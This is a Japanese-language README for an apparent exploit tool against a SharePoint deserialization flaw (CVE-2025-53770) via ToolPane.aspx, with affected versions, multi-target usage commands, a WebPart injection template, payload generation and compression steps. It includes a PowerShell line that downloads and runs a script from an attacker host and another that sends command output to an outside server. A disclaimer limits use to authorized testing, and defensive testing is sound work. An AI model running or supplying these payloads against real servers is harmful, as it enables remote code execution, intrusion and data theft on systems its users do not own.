
SharePoint WebPartインジェクションエクスプロイトツール
🍕 ToolPane.aspx を介した SharePoint WebPart インジェクションのエクスプロイトツール。.NET の逆シリアル化と、潜在的なリモートコード実行 (RCE) につながります。
開発者: @GOTOCVE
このツールは、Microsoft SharePoint (オンプレミス) の脆弱性を悪用します。認証されたユーザーが ToolPane.aspx エンドポイントを悪用し、GZIP 圧縮されたシリアル化 .NET オブジェクトを含む悪意のある WebPart を注入できるようにします。
注入されたオブジェクトは MSOTlPn_SelectedWpId パラメータ内に配置され、SharePoint バックエンドによって解析および逆シリアル化される偽の WebPart (<Scorecard:ExcelDataSet> など) に埋め込まれます。
| 製品 | 影響を受けるバージョン |
|---|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
exploit.pyCVE-2025-53770 用のマルチスレッド SharePoint エクスプロイトツール。
/ToolPane.aspx へのアクセス確認YSLosf.exeLosFormatter ペイロード生成 & デシリアライザー。
python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe の実行に必要)ペイロードは以下の条件を満たす必要があります:
DataSet、ObjectDataProvider)LosFormatter または BinaryFormatter を使用してシリアル化次のような WebPart に埋め込みます:
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosf を使用したペイロードの生成コマンド (例: リバースシェル) を payload.txt に記述します:
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j
Base64 encoded:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
出力を payload-final.txt に保存し、エクスプロイトツールに渡します。
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatterこの脆弱性はレスポンスに出力 (例: ipconfig) を返しません。次のいずれかを行う必要があります:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
このツールは教育および許可されたセキュリティテストのみを目的として提供されています。
明示的な許可なしにシステムに対して使用しないでください。 不正使用は違法かつ非倫理的となる可能性があります。
脆弱なサーバーがペイロードを受け入れ、MSOTlPn_SelectedWpId を反映するか、注入された WebPart を含むページをレンダリングした場合、悪用可能である可能性が高いです。出力がない場合は、逆シリアル化が失敗したか、サーバーがパッチ適用済みであることを意味します。
このツールは、シェルコードやウェブシェルを配信または実行しません。
これは、GZIP 圧縮された .NET オブジェクトを含む悪意のある WebPart 構造を使用して、脆弱な ToolPane.aspx エンドポイント経由で .NET 逆シリアル化の脆弱性 (CVE-2025-53770) の悪用を実証するだけです。
🔹 目的: 研究者、レッドチーム、防御者が脆弱な SharePoint サーバーを検出し、カスタムペイロードを使用して注入ベクトルを安全にテストできるようにすること。
🔹 ペイロード: このツールでは、ユーザーが独自のペイロード (例: YSLosf.exe を使用) を生成し、それを Base64 エンコードされた GZIP 文字列として WebPart に埋め込む必要があります。
ペイロード (無害な calc.exe の実行、ビーコンマーカーなど) を適切かつ倫理的に選択するのはユーザーの責任です。
🔹 リバースシェル/ウェブシェルは含まれません:
実際の攻撃者が spinstall0.aspx などのウェブシェルを仕掛ける可能性がありますが、このプロジェクトにはそのようなロジックは一切含まれていません。
リバースシェルを配信する予定がある場合、手動で独自のペイロードを生成し、その使用について全責任を負う必要があります。
Telegram で @GOTOCVE に参加してください:
作成者: Ali Soltani
研究に関する問い合わせやバグ報告は、Telegram までご連絡ください。
| フィールド | 値 |
|---|
| コンポーネント | Microsoft SharePoint (オンプレミス) |
| エンドポイント | /layouts/15/ToolPane.aspx |
| パラメータ | MSOTlPn_DWP |
| WebPart | <Scorecard:ExcelDataSet CompressedDataTable> |
| 問題 | 安全でない .NET 逆シリアル化 |
| CVE | CVE-2025-53770 |
| 引数 | 説明 |
|---|
-u | ターゲット URL (例: https://sp.company.local) |
-f | ターゲット URL を含むファイル (1行に1つ) |
-p | ペイロードファイルまたは Base64 GZIP 文字列を直接指定 |
--proxy | 任意のプロキシ (例: http://127.0.0.1:8080) |
-t | タイムアウト (秒) (デフォルト: 15) |